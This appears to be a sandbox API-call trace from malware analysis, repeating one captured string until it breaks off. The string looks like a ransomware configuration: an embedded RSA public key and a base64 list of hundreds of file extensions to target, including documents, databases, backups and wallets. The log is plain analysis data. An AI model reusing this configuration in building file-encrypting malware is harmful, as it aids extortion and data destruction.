(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.405] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi